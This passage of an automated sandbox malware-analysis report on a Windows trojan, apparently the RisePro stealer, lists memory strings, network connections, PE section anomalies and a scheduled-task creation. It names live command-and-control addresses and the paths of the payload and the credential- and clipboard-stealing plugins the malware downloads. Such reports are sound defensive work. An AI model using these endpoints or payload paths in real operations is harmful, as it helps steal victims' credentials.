Source: explorha.exe, 00000006.00000002.2908237175.0000000000B11000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000003.2572249094.0000000000B11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/random.exeo
Source: explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/random.exeu
Source: rundll32.exe, 00000008.00000002.2450583634.000002E176250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/
Source: explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dllB
Source: explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dllh
Source: explorha.exe, 00000006.00000002.2904871906.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/Plugins/cred64.dll
Source: explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2450226998.000002E1743B6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.2892509768.0000000002DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php
Source: explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php1Y
Source: explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php51001
Source: rundll32.exe, 00000008.00000002.2450583634.000002E176250000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2450226998.000002E174328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1
Source: rundll32.exe, 00000008.00000002.2450583634.000002E176286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1%r0
Source: rundll32.exe, 00000008.00000002.2450226998.000002E174328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1;BU)(A;OICI;GXGR;;;WD)AY
Source: rundll32.exe, 00000008.00000002.2450583634.000002E176250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1=1
Source: rundll32.exe, 00000008.00000002.2450583634.000002E176286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1Trg
Source: rundll32.exe, 00000008.00000002.2450226998.000002E1743E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1a
Source: rundll32.exe, 00000008.00000002.2450583634.000002E176250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1heH
Source: explorha.exe, 00000006.00000002.2904871906.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpF
Source: explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpIY
Source: explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpUsers
Source: explorha.exe, 00000006.00000002.2908237175.0000000000B11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpded
Source: rundll32.exe, 0000000D.00000002.2892509768.0000000002DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpl
Source: explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpll32.dll
Source: explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpmb3JtLXVybGVuY29kZWQ=
Source: explorha.exe, 00000006.00000002.2908237175.0000000000B11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpoded
Source: rundll32.exe, 00000008.00000002.2450226998.000002E1743B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpq8
Source: powershell.exe, 0000000B.00000002.2432332718.00000246D4E79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2414037299.00000246C66E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C4E11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: ad0e9cf6d6.exe, 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2890560740.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 0000001B.00000003.2670876049.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000003.2754517007.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2898506799.0000000000E31000.00000040.00000001.01000000.00000013.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: ad0e9cf6d6.exe, 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, MPGPH131.exe, 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, RageMP131.exe, 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2890560740.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, RageMP131.exe, 0000001C.00000002.2898506799.0000000000E31000.00000040.00000001.01000000.00000013.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDp
Source: ad0e9cf6d6.exe, 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000003.2670876049.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000003.2754517007.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDpRTpR
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C4E11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2414037299.00000246C643E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2414037299.00000246C631F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C643E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C66E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C66E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C66E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/%
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/?
Source: RageMP131.exe, 0000001C.00000002.2892698190.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/O
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/W
Source: RageMP131.exe, 0000001C.00000002.2892698190.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.60
Source: ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.603
Source: ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.609
Source: MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.60e
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.60l
Source: RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.60r
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.60u
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.60z
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/y
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2899823054.00000000015C1000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.000000000139C000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=81.181.54.60
Source: MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=81.181.54.60j11
Source: RageMP131.exe, 0000001A.00000002.2900005103.0000000001AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=81.181.54.60z
Source: powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: RageMP131.exe, 0000001C.00000002.2892698190.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: MPGPH131.exe, 00000013.00000002.2899823054.00000000014DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/B
Source: MPGPH131.exe, 00000014.00000002.2899702692.00000000011FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/E
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2899702692.000000000123F000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001401000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001AF8000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D31000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: ad0e9cf6d6.exe, 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2890560740.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 0000001B.00000003.2670876049.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000003.2754517007.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2898506799.0000000000E31000.00000040.00000001.01000000.00000013.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.000000000156D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/s
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.000000000159E000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2899823054.0000000001547000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2899702692.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2899702692.000000000123F000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001AF8000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001AA8000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.54.60
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.54.604
Source: MPGPH131.exe, 00000013.00000002.2899823054.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.54.607g
Source: ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.54.60D
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.00000000013B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.54.60G
Source: MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.54.60s
Source: MPGPH131.exe, 00000014.00000002.2899702692.000000000123F000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.000000000139C000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001AF8000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/81.181.54.60
Source: MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/81.181.54.60P
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/81.181.54.60R
Source: powershell.exe, 0000000B.00000002.2432332718.00000246D4E79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2414037299.00000246C66E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t..
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.000000000152E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2899823054.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2899702692.00000000011B8000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001378000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001A6E000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT.C
Source: ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT7uW
Source: RageMP131.exe, 0000001A.00000002.2900005103.0000000001A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTW
Source: ad0e9cf6d6.exe, 0000000E.00000002.2899511665.000000000152E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTy
Source: RageMP131.exe, 0000001A.00000002.2900005103.0000000001B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot.60$
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot.604
Source: MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot4y
Source: MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot:y
Source: RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot=
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botH
Source: MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_bot
Source: MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_bot=y
Source: ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botlaterH
Source: RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botrisepro4.60#

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49794 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Static PE information: section name: .idata
Source: explorha.exe.0.dr	Static PE information: section name:
Source: explorha.exe.0.dr	Static PE information: section name: .idata
Source: ad0e9cf6d6.exe.6.dr	Static PE information: section name:
Source: ad0e9cf6d6.exe.6.dr	Static PE information: section name: .idata
Source: ad0e9cf6d6.exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name: .idata
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert[1].exe.6.dr	Static PE information: section name: .idata
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name: .idata
Source: amert.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: RageMP131.exe.14.dr	Static PE information: section name:
Source: RageMP131.exe.14.dr	Static PE information: section name: .idata
Source: RageMP131.exe.14.dr	Static PE information: section name:
Source: MPGPH131.exe.14.dr	Static PE information: section name:
Source: MPGPH131.exe.14.dr	Static PE information: section name: .idata
Source: MPGPH131.exe.14.dr	Static PE information: section name:
Source: explorgu.exe.24.dr	Static PE information: section name:
Source: explorgu.exe.24.dr	Static PE information: section name: .idata
Source: explorgu.exe.24.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	File created: C:\Windows\Tasks\explorha.job			Jump to behavior
